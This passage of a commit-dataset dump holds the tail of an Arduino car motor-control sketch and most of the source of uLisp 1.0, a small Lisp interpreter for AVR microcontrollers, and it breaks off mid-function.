(digitalRead(SPEED_INPUT2) == HIGH) ? (4) : (0);\n \n \/\/ read bit 1\n data += (digitalRead(SPEED_INPUT1) == HIGH) ? (2) : (0);\n \n \/\/ read bit 0\n data += (digitalRead(SPEED_INPUT0) == HIGH) ? (1) : (0);\n \n return data;\n}\n\n\/**\n * Configure the speed control motors to run at 'percent' percentage of their\n * capacity. Consequently,\n * \n * 1. direction must be either MOVE_FORWARD or MOVE_BACKWARD\n * 2. 0 <= percent <= 100.\n * \n * Requires the following pins to be not set to INPUT mode:\n * SPEED_MOTOR_PIN1\n * SPEED_MOTOR_PIN0\n * \n * Input: direction : Direction of the car's motion\n * percent : Speed of the car in percentage terms.\n * Output: None\n *\/\nvoid writeSpeedData(unsigned int direction, unsigned int percent) {\n switch (direction) {\n case MOVE_FORWARD: analogWrite(SPEED_MOTOR_PIN1, percent * 2.55);\n analogWrite(SPEED_MOTOR_PIN0, 0);\n break;\n \n case MOVE_BACKWARD: analogWrite(SPEED_MOTOR_PIN1, 0);\n analogWrite(SPEED_MOTOR_PIN0, percent * 2.55);\n break;\n\n default: analogWrite(SPEED_MOTOR_PIN1, 0);\n analogWrite(SPEED_MOTOR_PIN0, 0);\n }\n}\n\n\/**\n * Initializes pins for turn control I\/O.\n * \n * Input: None\n * Output: None\n *\/\nvoid initTurnPins() {\n pinMode(TURN_INPUT2, INPUT);\n pinMode(TURN_INPUT1, INPUT);\n pinMode(TURN_INPUT0, INPUT);\n pinMode(TURN_MOTOR_PIN1, OUTPUT);\n pinMode(TURN_MOTOR_PIN0, OUTPUT);\n}\n\n\/**\n * Reads and returns turn control data, which is in the range [0,7].\n * \n * Data in [0,3] signifies right turn, with each higher number signifying\n * a higher degree of turn.\n * \n * Data in [4,7] signifies left turn, with each higher number signifying\n * a higher degree of turn.\n * \n * Requires the following pins to be set to INPUT mode:\n * TURN_INPUT2\n * TURN_INPUT1\n * TURN_INPUT0\n * \n * Input: None\n * Output: Turn data in the range [0,7].\n *\/\nunsigned int readTurnInput() {\n \/\/ read bit 2\n unsigned int data = (digitalRead(TURN_INPUT2) == HIGH) ? (4) : (0);\n\n \/\/ read bit 1\n data += (digitalRead(TURN_INPUT1) == HIGH) ? (2) : (0);\n\n \/\/ read bit 0\n data += (digitalRead(TURN_INPUT0) == HIGH) ? (1) : (0);\n\n return data;\n}\n\n\/**\n * Configures the turn motors to turn in 'percent' percentage in\n * 'direction' direction. Consequently,\n * \n * 1. direction must be either TURN_LEFT or TURN_RIGHT\n * 2. 0 <= percent <= 100\n * \n * Requires the following pins to be not set to INPUT mode:\n * TURN_MOTOR_PIN1\n * TURN_MOTOR_PIN0\n * \n * Input: direction : Direction of the car's turn.\n * percent : Degree of the car's turn in percentage terms.\n * Output: None\n *\/\nvoid writeTurnData(unsigned int direction, unsigned int percent) {\n switch (direction) {\n case TURN_LEFT: analogWrite(TURN_MOTOR_PIN1, percent * 2.55);\n analogWrite(TURN_MOTOR_PIN0, 0);\n break;\n \n case TURN_RIGHT: analogWrite(TURN_MOTOR_PIN1, 0);\n analogWrite(TURN_MOTOR_PIN0, percent * 2.55);\n break;\n\n default: analogWrite(TURN_MOTOR_PIN1, 0);\n analogWrite(TURN_MOTOR_PIN0, 0);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/car.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"33c0d36be9080412b91da6ebceed20dd059014e8","subject":"Version 1.0","message":"Version 1.0\n\nVersion 1.0 was the first version of uLisp.\r\n25th May 2016","repos":"technoblogy\/ulisp","old_file":"ulisp.ino","new_file":"ulisp.ino","new_contents":"\/* uLisp Version 1.0 - www.ulisp.com\n \n Copyright (c) 2016 David Johnson-Davies\n \n Licensed under the MIT license: https:\/\/opensource.org\/licenses\/MIT\n*\/\n\n#include <setjmp.h>\n\n\/\/ Compile options\n\n#define checkoverflow\n\n\/\/ C Macros\n\n#define nil NULL\n#define car(x) (((object *) (x))->car)\n#define cdr(x) (((object *) (x))->cdr)\n\n#define first(x) (((object *) (x))->car)\n#define second(x) (car(cdr(x)))\n#define third(x) (car(cdr(cdr(x))))\n#define fourth(x) (car(cdr(cdr(cdr(x)))))\n\n#define push(x, y) ((y) = cons((x),(y)))\n#define pop(y) ((y) = cdr(y))\n\n#define numberp(x) ((x)->type == NUMBER)\n#define listp(x) ((x)->type != NUMBER && (x)->type != SYMBOL)\n#define consp(x) ((x)->type != NUMBER && (x)->type != SYMBOL && (x) != NULL)\n\n#define mark(x) (car(x) = (object *)(((unsigned int)(car(x))) | 0x8000))\n#define unmark(x) (car(x) = (object *)(((unsigned int)(car(x))) & 0x7FFF))\n#define marked(x) ((((unsigned int)(car(x))) & 0x8000) != 0)\n\n\/\/ 1:Show GCs 2:show symbol addresses\n\/\/ #define debug1\n\/\/ #define debug2\n\n\/\/ Constants\n\n#if defined(__AVR_ATmega328P__)\nconst int workspacesize = 315;\n#elif defined(__AVR_ATmega32U4__)\nconst int workspacesize = 421;\n#elif defined(__AVR_ATmega2560__)\nconst int workspacesize = 1461;\n#elif defined(__AVR_ATmega1284P__)\nconst int workspacesize = 3000;\n#else\nconst int workspacesize = 315;\n#endif\n\nconst int buflen = 13; \/\/ Length of longest symbol + 1\nenum type {NONE, SYMBOL, NUMBER};\n\nenum function { SYMBOLS, BRA, KET, QUO, DOT, NIL, TEE, LAMBDA, LET, LETSTAR, CLOSURE, SPECIAL_FORMS, QUOTE,\nDEFUN, DEFVAR, SETQ, LOOP, PUSH, POP, INCF, DECF, DOLIST, DOTIMES, FORMILLIS, TAIL_FORMS, PROGN, RETURN, IF,\nCOND, WHEN, UNLESS, AND, OR, FUNCTIONS, NOT, NULLFN, CONS, ATOM, LISTP, CONSP, NUMBERP, EQ, CAR, FIRST, CDR,\nREST, CAAR, CADR, SECOND, CDAR, CDDR, CAAAR, CAADR, CADAR, CADDR, THIRD, CDAAR, CDADR, CDDAR, CDDDR, LENGTH,\nLIST, REVERSE, NTH, ASSOC, MEMBER, APPLY, FUNCALL, APPEND, MAPC, MAPCAR, ADD, SUBTRACT, MULTIPLY, DIVIDE, MOD,\nONEPLUS, ONEMINUS, ABS, RANDOM, MAX, MIN, NUMEQ, LESS, LESSEQ, GREATER, GREATEREQ, NOTEQ, PLUSP, MINUSP, ZEROP,\nODDP, EVENP, READ, EVAL, LOCALS, GLOBALS, MAKUNBOUND, BREAK, PRINT, PRINC, GC, PINMODE, DIGITALREAD, DIGITALWRITE,\nANALOGREAD, ANALOGWRITE, DELAY, MILLIS, SHIFTOUT, SHIFTIN, NOTE, ENDFUNCTIONS };\n\n\/\/ Typedefs\n\ntypedef struct sobject {\n union {\n struct {\n sobject *car;\n sobject *cdr;\n };\n struct {\n enum type type;\n union {\n unsigned int name;\n int integer;\n };\n };\n };\n} object;\n\ntypedef object *(*fn_ptr_type)(object *, object *);\n\ntypedef struct {\n const char *string;\n fn_ptr_type fptr;\n int min;\n int max;\n} tbl_entry_t;\n\n\/\/ Global variables\n\njmp_buf exception;\nobject workspace[workspacesize];\nunsigned int freespace = 0;\nint ReturnFlag = 0;\nobject *freelist;\n\nobject *GlobalEnv;\nobject *GCStack = NULL;\nchar buffer[buflen+1];\nint BreakLevel = 0;\n\n\/\/ Forward references\nobject *tee, *bra, *ket, *quo, *dot;\n\nobject *tf_progn (object *form, object *env);\nobject *eval (object *form, object *env);\nobject *read();\nvoid repl();\nvoid printobject (object *form);\nchar *lookupstring (unsigned int name);\nint lookupfn(unsigned int name);\nint builtin(char* n);\n\n\/\/ Set up workspace\n\nvoid initworkspace () {\n freelist = NULL;\n for (int i=0; i<workspacesize; i++) {\n object *obj = &workspace[i];\n car(obj) = NULL;\n cdr(obj) = freelist;\n freelist = obj;\n freespace++;\n }\n}\n\nobject *myalloc() {\n if (freespace == 0) error(F(\"No room\"));\n object *temp = freelist;\n freelist = cdr(freelist);\n freespace--;\n return temp;\n}\n\nvoid myfree (object *obj) {\n cdr(obj) = freelist;\n freelist = obj;\n freespace++;\n}\n\n\/\/ Make each type of object\n\nobject *number (int n) {\n object *ptr = (object *) myalloc ();\n ptr->type = NUMBER;\n ptr->integer = n;\n return ptr;\n}\n\nobject *cons (object *arg1, object *arg2) {\n object *ptr = (object *) myalloc ();\n ptr->car = arg1;\n ptr->cdr = arg2;\n return ptr;\n}\n\nobject *symbol (unsigned int name) {\n object *ptr = (object *) myalloc ();\n ptr->type = SYMBOL;\n ptr->name = name;\n return ptr;\n}\n\n\/\/ Garbage collection\n\nvoid markobject (object *obj) {\n if (obj == NULL) return;\n \n object* arg = car(obj);\n if (marked(obj)) return;\n\n int type = obj->type;\n mark(obj);\n \n if (type != SYMBOL && type != NUMBER) { \/\/ cons\n markobject(arg);\n markobject(cdr(obj));\n }\n}\n\nvoid sweep () {\n freelist = NULL;\n freespace = 0;\n for (int i=0; i<workspacesize; i++) {\n object *obj = &workspace[i];\n if (!marked(obj)) {\n car(obj) = NULL;\n cdr(obj) = freelist;\n freelist = obj;\n freespace++;\n } else unmark(obj);\n }\n}\n\nvoid gc (object *form, object *env) {\n#if defined(debug1)\n int start = freespace;\n#endif\n markobject(bra); markobject(ket); markobject(quo);\n markobject(tee); markobject(dot);\n markobject(GlobalEnv);\n markobject(GCStack);\n markobject(form);\n markobject(env);\n sweep();\n#if defined(debug1)\n Serial.print('{');\n Serial.print(freespace - start);\n Serial.println('}');\n#endif\n}\n\n\n\/\/ Error handling\nvoid error (const __FlashStringHelper *string) {\n Serial.print(F(\"Error: \"));\n Serial.println(string);\n GCStack = NULL;\n longjmp(exception, 1);\n}\n\nvoid error2 (object *symbol, const __FlashStringHelper *string) {\n Serial.print(F(\"Error: '\"));\n printobject(symbol);\n Serial.print(\"' \");\n Serial.println(string);\n GCStack = NULL;\n longjmp(exception, 1);\n}\n\n\/\/ Helper functions\n\nint toradix40 (int ch) {\n if (ch == 0) return 0;\n if (ch >= 'A' && ch <= 'Z') return ch-'A'+1;\n if (ch >= 'a' && ch <= 'z') return ch-'a'+1;\n if (ch >= '0' && ch <= '9') return ch-'0'+30;\n if (ch == '-') return 27;\n error(F(\"Illegal character in symbol\"));\n return 0;\n}\n\nint fromradix40 (int n) {\n if (n >= 1 && n <= 26) return 'a'+n-1;\n if (n >= 30 && n <= 39) return '0'+n-30;\n if (n == 27) return '-';\n return 0;\n}\n\nint pack40 (char *buffer) {\n return (((toradix40(buffer[0]) * 40) + toradix40(buffer[1])) * 40 + toradix40(buffer[2]));\n}\n\nchar *name(object *obj){\n buffer[3] = '\\0';\n if(obj->type != SYMBOL) error(F(\"Error in name\"));\n unsigned int x = obj->name;\n if (x < ENDFUNCTIONS) return lookupstring(x);\n for (int n=2; n>=0; n--) {\n buffer[n] = fromradix40(x % 40);\n x = x \/ 40;\n }\n return buffer;\n}\n\nint integer(object *obj){\n if(obj->type != NUMBER) error(F(\"not a number\"));\n return obj->integer;\n}\n\nint issymbol(object *obj, unsigned int n) {\n return obj->type == SYMBOL && obj->name == n;\n}\n\nint eq (object *arg1, object *arg2) {\n int same_object = (arg1 == arg2);\n int same_symbol = (arg1->type == SYMBOL && arg2->type == SYMBOL && arg1->name == arg2->name);\n int same_number = (arg1->type == NUMBER && arg2->type == NUMBER && arg1->integer == arg2->integer);\n return (same_object || same_symbol || same_number);\n}\n\n\/\/ Lookup variable in environment\n\nobject *value(unsigned int n, object *env) {\n while (env != NULL) {\n object *item = car(env);\n if(car(item)->name == n) return item;\n env = cdr(env);\n }\n return nil;\n}\n\nobject *findvalue (object *var, object *env) {\n unsigned int varname = var->name;\n object *pair = value(varname, env);\n if (pair == NULL) pair = value(varname, GlobalEnv);\n if (pair == NULL) error2(var,F(\"unknown variable\"));\n return pair;\n}\n\nobject *findtwin (object *var, object *env) {\n while (env != NULL) {\n object *pair = car(env);\n if (car(pair) == var) return pair;\n env = cdr(env);\n }\n return NULL;\n}\n\nobject *closure (int tail, object *fname, object *function, object *args, object **env) {\n object *local = first(function);\n object *params = second(function);\n function = cdr(cdr(function));\n \/\/ Push locals\n while (local != NULL) {\n push(first(local), *env);\n local = cdr(local);\n }\n \/\/ Add arguments to environment\n while (params != NULL && args != NULL) {\n object *var = first(params);\n object *value = first(args);\n if (tail) {\n object *pair = findtwin(var, *env);\n if (pair != NULL) cdr(pair) = value;\n else push(cons(var,value), *env);\n } else push(cons(var,value), *env);\n params = cdr(params);\n args = cdr(args);\n }\n if (params != NULL) error2(fname, F(\"has too few parameters\"));\n if (args != NULL) error2(fname, F(\"has too many parameters\"));\n \/\/ Do an implicit progn\n return tf_progn(function, *env); \n}\n\ninline int listlength (object *list) {\n int length = 0;\n while (list != NULL) {\n list = cdr(list);\n length++;\n }\n return length;\n}\n \nobject *apply (object *function, object *args, object **env) {\n if (function->type == SYMBOL) {\n unsigned int name = function->name;\n int nargs = listlength(args);\n if (name >= ENDFUNCTIONS) error2(function, F(\"is not a function\"));\n if (nargs<lookupmin(name)) error2(function, F(\"has too few arguments\"));\n if (nargs>lookupmax(name)) error2(function, F(\"has too many arguments\"));\n return ((fn_ptr_type)lookupfn(name))(args, *env);\n } else if (listp(function) && issymbol(car(function), CLOSURE)) {\n object *result = closure(0, NULL, cdr(function), args, env);\n return eval(result,*env);\n } else error2(function, F(\"illegal function\"));\n return NULL;\n}\n\n\/\/ Checked car and cdr\n\ninline object *carx (object *arg) {\n if (!listp(arg)) error(F(\"Can't take car\"));\n if (arg == nil) return nil;\n return car(arg);\n}\n\ninline object *cdrx (object *arg) {\n if (!listp(arg)) error(F(\"Can't take cdr\"));\n if (arg == nil) return nil;\n return cdr(arg);\n}\n\n\/\/ Special forms\n\nobject *sp_quote (object *args, object *env) {\n (void) env;\n return first(args);\n}\n\nobject *sp_defun (object *args, object *env) {\n (void) env;\n object *var = first(args);\n if (var->type != SYMBOL) error2(var, F(\"is not a symbol\"));\n object *val = cons(symbol(CLOSURE), cons(NULL,cdr(args)));\n object *pair = value(var->name,GlobalEnv);\n if (pair != NULL) { cdr(pair) = val; return var; }\n push(cons(var, val), GlobalEnv);\n return var;\n}\n\nobject *sp_defvar (object *args, object *env) {\n object *var = first(args);\n if (var->type != SYMBOL) error2(var, F(\"is not a symbol\"));\n object *val = eval(second(args), env);\n object *pair = value(var->name,GlobalEnv);\n if (pair != NULL) { cdr(pair) = val; return var; }\n push(cons(var, val), GlobalEnv);\n return var;\n}\n\nobject *sp_setq (object *args, object *env) {\n object *arg = eval(second(args), env);\n object *pair = findvalue(first(args), env);\n cdr(pair) = arg;\n return arg;\n}\n\nobject *sp_loop (object *args, object *env) {\n ReturnFlag = 0;\n object *start = args;\n for (;;) {\n args = start;\n while (args != NULL) {\n object *form = car(args);\n object *result = eval(form,env);\n if (ReturnFlag == 1) {\n ReturnFlag = 0;\n return result;\n }\n args = cdr(args);\n }\n }\n}\n\nobject *sp_push (object *args, object *env) {\n object *item = eval(first(args), env);\n object *pair = findvalue(second(args), env);\n push(item,cdr(pair));\n return cdr(pair);\n}\n\nobject *sp_pop (object *args, object *env) {\n object *pair = findvalue(first(args), env);\n object *result = car(cdr(pair));\n pop(cdr(pair));\n return result;\n}\n\nobject *sp_incf (object *args, object *env) {\n object *var = first(args);\n object *pair = findvalue(var, env);\n int result = integer(eval(var, env));\n int temp = 1;\n if (cdr(args) != NULL) temp = integer(eval(second(args), env));\n #if defined(checkoverflow)\n if (temp < 1) { if (-32768 - temp > result) error(F(\"'incf' arithmetic overflow\")); }\n else { if (32767 - temp < result) error(F(\"'incf' arithmetic overflow\")); }\n #endif\n result = result + temp;\n var = number(result);\n cdr(pair) = var;\n return var;\n}\n\nobject *sp_decf (object *args, object *env) {\n object *var = first(args);\n object *pair = findvalue(var, env);\n int result = integer(eval(var, env));\n int temp = 1;\n if (cdr(args) != NULL) temp = integer(eval(second(args), env));\n #if defined(checkoverflow)\n if (temp < 1) { if (32767 + temp < result) error(F(\"'decf' arithmetic overflow\")); }\n else { if (-32768 + temp > result) error(F(\"'decf' arithmetic overflow\")); }\n #endif\n result = result - temp;\n var = number(result);\n cdr(pair) = var;\n return var;\n}\n\nobject *sp_dolist (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n object *list = eval(second(params), env);\n if (!listp(list)) error(F(\"'dolist' argument is not a list\"));\n object *pair = cons(var,nil);\n push(pair,env);\n object *result = third(params);\n object *forms = cdr(args);\n while (list != NULL) {\n cdr(pair) = first(list);\n list = cdr(list);\n eval(tf_progn(forms,env), env);\n }\n cdr(pair) = nil;\n return eval(result, env);\n}\n\nobject *sp_dotimes (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n int count = integer(eval(second(params), env));\n int index = 0;\n object *result = third(params);\n object *pair = cons(var,number(0));\n push(pair,env);\n object *forms = cdr(args);\n while (index < count) {\n cdr(pair) = number(index);\n index++;\n eval(tf_progn(forms,env), env);\n }\n cdr(pair) = number(index);\n return eval(result, env);\n}\n\nobject *sp_formillis (object *args, object *env) {\n object *param = first(args);\n unsigned long start = millis();\n unsigned long now, total = 0;\n if (param != NULL) total = integer(first(param));\n eval(tf_progn(cdr(args),env), env);\n do now = millis() - start; while (now < total);\n if (now <= 32767) return number(now);\n return nil;\n}\n\n\/\/ Tail-recursive forms\n\nobject *tf_progn (object *args, object *env) {\n if (args == NULL) return nil;\n object *more = cdr(args);\n while (more != NULL) {\n eval(car(args), env);\n args = more;\n more = cdr(args);\n }\n return car(args);\n}\n\nobject *tf_return (object *args, object *env) {\n ReturnFlag = 1;\n return tf_progn(args, env);\n}\n\nobject *tf_if (object *args, object *env) {\n if (eval(first(args), env) != nil) return second(args);\n return third(args);\n}\n\nobject *tf_cond (object *args, object *env) {\n while (args != NULL) {\n object *clause = first(args);\n object *test = eval(first(clause), env);\n object *forms = cdr(clause);\n if (test != nil) {\n if (forms == NULL) return test; else return tf_progn(forms, env);\n }\n args = cdr(args);\n }\n return nil;\n}\n\nobject *tf_when (object *args, object *env) {\n if (eval(first(args), env) != nil) return tf_progn(cdr(args),env);\n else return nil;\n}\n\nobject *tf_unless (object *args, object *env) {\n if (eval(first(args), env) != nil) return nil;\n else return tf_progn(cdr(args),env);\n}\n\nobject *tf_and (object *args, object *env) {\n if (args == NULL) return tee;\n object *more = cdr(args);\n while (more != NULL) {\n if (eval(car(args), env) == NULL) return nil;\n args = more;\n more = cdr(args);\n }\n return car(args);\n}\n\nobject *tf_or (object *args, object *env) {\n object *more = cdr(args);\n while (more != NULL) {\n object *result = eval(car(args), env);\n if (result != NULL) return result;\n args = more;\n more = cdr(args);\n }\n return car(args);\n}\n\n\/\/ Core functions\n\nobject *fn_not (object *args, object *env) {\n (void) env;\n if (first(args) == nil) return tee; else return nil;\n}\n\nobject *fn_cons (object *args, object *env) {\n (void) env;\n return cons(first(args),second(args));\n}\n\nobject *fn_atom (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n if (consp(arg1)) return nil; else return tee;\n}\n\nobject *fn_listp (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n if (listp(arg1)) return tee; else return nil;\n}\n\nobject *fn_consp (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n if (consp(arg1)) return tee; else return nil;\n}\n\nobject *fn_numberp (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n if (numberp(arg1)) return tee; else return nil;\n}\n\nobject *fn_eq (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n object *arg2 = second(args);\n if(eq(arg1, arg2)) return tee; else return nil;\n}\n\n\/\/ List functions\n\nobject *fn_car (object *args, object *env) {\n (void) env;\n return carx(first(args));\n}\n\nobject *fn_cdr (object *args, object *env) {\n (void) env;\n return cdrx(first(args));\n}\n\nobject *fn_caar (object *args, object *env) {\n (void) env;\n return carx(carx(first(args)));\n}\n\nobject *fn_cadr (object *args, object *env) {\n (void) env;\n return carx(cdrx(first(args)));\n}\n\nobject *fn_cdar (object *args, object *env) {\n (void) env;\n return cdrx(carx(first(args)));\n}\n\nobject *fn_cddr (object *args, object *env) {\n (void) env;\n return cdrx(cdrx(first(args)));\n}\n\nobject *fn_caaar (object *args, object *env) {\n (void) env;\n return carx(carx(carx(first(args))));\n}\n\nobject *fn_caadr (object *args, object *env) {\n (void) env;\n return carx(carx(cdrx(first(args))));\n}\n\nobject *fn_cadar (object *args, object *env) {\n (void) env;\n return carx(cdrx(carx(first(args))));\n}\n\nobject *fn_caddr (object *args, object *env) {\n (void) env;\n return carx(cdrx(cdrx(first(args))));\n}\n\nobject *fn_cdaar (object *args, object *env) {\n (void) env;\n return cdrx(carx(carx(first(args))));\n}\n\nobject *fn_cdadr (object *args, object *env) {\n (void) env;\n return cdrx(carx(cdrx(first(args))));\n}\n\nobject *fn_cddar (object *args, object *env) {\n (void) env;\n return cdrx(cdrx(carx(first(args))));\n}\n\nobject *fn_cdddr (object *args, object *env) {\n (void) env;\n return cdrx(cdrx(cdrx(first(args))));\n}\n\nobject *fn_length (object *args, object *env) {\n (void) env;\n object *list = first(args);\n if (!listp(list)) error(F(\"'length' argument is not a list\"));\n return number(listlength(list));\n}\n\nobject *fn_list (object *args, object *env) {\n (void) env;\n return args;\n}\n\nobject *fn_reverse (object *args, object *env) {\n (void) env;\n object *list = first(args);\n if (!listp(list)) error(F(\"'reverse' argument is not a list\"));\n object *result = NULL;\n while (list != NULL) {\n push(first(list),result);\n list = cdr(list);\n }\n return result;\n}\n\nobject *fn_nth (object *args, object *env) {\n (void) env;\n int n = integer(first(args));\n object *list = second(args);\n if (!listp(list)) error(F(\"'nth' second argument is not a list\"));\n while (list != NULL) {\n if (n == 0) return car(list);\n list = cdr(list);\n n--;\n }\n return nil;\n}\n\nobject *fn_assoc (object *args, object *env) {\n (void) env;\n object *key = first(args);\n object *list = second(args);\n if (!listp(list)) error(F(\"'assoc' second argument is not a list\"));\n while (list != NULL) {\n object *pair = first(list);\n if (eq(key,car(pair))) return pair;\n list = cdr(list);\n }\n return nil;\n}\n\nobject *fn_member (object *args, object *env) {\n (void) env;\n object *item = first(args);\n object *list = second(args);\n if (!listp(list)) error(F(\"'member' second argument is not a list\"));\n while (list != NULL) {\n if (eq(item,car(list))) return list;\n list = cdr(list);\n }\n return nil;\n}\n\nobject *fn_apply (object *args, object *env) {\n object *previous = NULL;\n object *last = args;\n while (cdr(last) != NULL) {\n previous = last;\n last = cdr(last);\n }\n if (!listp(car(last))) error(F(\"'apply' last argument is not a list\"));\n cdr(previous) = car(last);\n return apply(first(args), cdr(args), &env);\n}\n\nobject *fn_funcall (object *args, object *env) {\n return apply(first(args), cdr(args), &env);\n}\n\nobject *fn_append (object *args, object *env) {\n (void) env;\n object *head = NULL;\n object *tail = NULL;\n while (args != NULL) {\n object *list = first(args);\n if (!listp(list)) error(F(\"'append' argument is not a list\"));\n while (list != NULL) {\n object *obj = cons(first(list),NULL);\n if (head == NULL) {\n head = obj;\n tail = obj;\n } else {\n cdr(tail) = obj;\n tail = obj;\n }\n list = cdr(list);\n }\n args = cdr(args);\n }\n return head;\n}\n\nobject *fn_mapc (object *args, object *env) {\n object *function = first(args);\n object *list1 = second(args);\n if (!listp(list1)) error(F(\"'mapc' second argument is not a list\"));\n object *list2 = third(args);\n if (!listp(list2)) error(F(\"'mapc' third argument is not a list\"));\n if (list2 != NULL) {\n while (list1 != NULL && list2 != NULL) {\n apply(function, cons(car(list1),cons(car(list2),NULL)), &env);\n list1 = cdr(list1);\n list2 = cdr(list2);\n }\n } else {\n while (list1 != NULL) {\n apply(function, cons(car(list1),NULL), &env);\n list1 = cdr(list1);\n }\n }\n return nil;\n}\n\nobject *fn_mapcar (object *args, object *env) {\n object *function = first(args);\n object *list1 = second(args);\n if (!listp(list1)) error(F(\"'mapcar' second argument is not a list\"));\n object *list2 = third(args);\n if (!listp(list2)) error(F(\"'mapcar' third argument is not a list\"));\n object *head = NULL;\n object *tail = NULL;\n if (list2 != NULL) {\n while (list1 != NULL && list2 != NULL) {\n object *result = apply(function, cons(car(list1),cons(car(list2),NULL)), &env);\n object *obj = cons(result,NULL);\n if (head == NULL) {\n head = obj;\n push(head,GCStack);\n tail = obj;\n } else {\n cdr(tail) = obj;\n tail = obj;\n }\n list1 = cdr(list1);\n list2 = cdr(list2);\n }\n } else {\n while (list1 != NULL) {\n object *result = apply(function, cons(car(list1),NULL), &env);\n object *obj = cons(result,NULL);\n if (head == NULL) {\n head = obj;\n push(head,GCStack);\n tail = obj;\n } else {\n cdr(tail) = obj;\n tail = obj;\n }\n list1 = cdr(list1);\n }\n }\n pop(GCStack);\n return head;\n}\n\n\/\/ Arithmetic functions\n\nobject *fn_add (object *args, object *env) {\n (void) env;\n int result = 0;\n while (args != NULL) {\n int temp = integer(car(args));\n #if defined(checkoverflow)\n if (temp < 1) { if (-32768 - temp > result) error(F(\"'+' arithmetic overflow\")); }\n else { if (32767 - temp < result) error(F(\"'+' arithmetic overflow\")); }\n #endif\n result = result + temp;\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_subtract (object *args, object *env) {\n (void) env;\n int result = integer(car(args));\n args = cdr(args);\n if (args == NULL) {\n #if defined(checkoverflow)\n if (result == -32768) error(F(\"'-' arithmetic overflow\"));\n #endif\n return number(-result);\n }\n while (args != NULL) {\n int temp = integer(car(args));\n #if defined(checkoverflow)\n if (temp < 1) { if (32767 + temp < result) error(F(\"'-' arithmetic overflow\")); }\n else { if (-32768 + temp > result) error(F(\"'-' arithmetic overflow\")); }\n #endif\n result = result - temp;\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_multiply (object *args, object *env) {\n (void) env;\n int result = 1;\n while (args != NULL){\n #if defined(checkoverflow)\n signed long temp = (signed long) result * integer(car(args));\n if ((temp > 32767) || (temp < -32768)) error(F(\"'*' arithmetic overflow\"));\n result = temp;\n #else\n result = result * integer(car(args));\n #endif\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_divide (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg = integer(car(args));\n if (arg == 0) error(F(\"Division by zero\"));\n result = result \/ arg;\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_mod (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n int arg2 = integer(second(args));\n if (arg2 == 0) error(F(\"Division by zero\"));\n int r = arg1 % arg2;\n if ((arg1<0) != (arg2<0)) r = r + arg2;\n return number(r);\n}\n\nobject *fn_oneplus (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n #if defined(checkoverflow)\n if (result == 32767) error(F(\"'1+' arithmetic overflow\"));\n #endif\n return number(result + 1);\n}\n\nobject *fn_oneminus (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n #if defined(checkoverflow)\n if (result == -32768) error(F(\"'1-' arithmetic overflow\"));\n #endif\n return number(result - 1);\n}\n\nobject *fn_abs (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n #if defined(checkoverflow)\n if (result == -32768) error(F(\"'abs' arithmetic overflow\"));\n #endif\n return number(abs(result));\n}\n\nobject *fn_random (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n return number(random(arg));\n}\n\nobject *fn_max (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n result = max(result,integer(car(args)));\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_min (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n result = min(result,integer(car(args)));\n args = cdr(args);\n }\n return number(result);\n}\n\n\/\/ Arithmetic comparisons\n\nobject *fn_numeq (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 == arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_less (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 < arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_lesseq (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 <= arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_greater (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 > arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_greatereq (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 >= arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_noteq (object *args, object *env) {\n (void) env;\n while (args != NULL) { \n object *nargs = args;\n int arg1 = integer(first(nargs));\n nargs = cdr(nargs);\n while (nargs != NULL) {\n int arg2 = integer(first(nargs));\n if (arg1 == arg2) return nil;\n nargs = cdr(nargs);\n }\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_plusp (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n if (arg > 0) return tee;\n else return nil;\n}\n\nobject *fn_minusp (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n if (arg < 0) return tee;\n else return nil;\n}\n\nobject *fn_zerop (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n if (arg == 0) return tee;\n else return nil;\n}\n\nobject *fn_oddp (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n if ((arg & 1) == 1) return 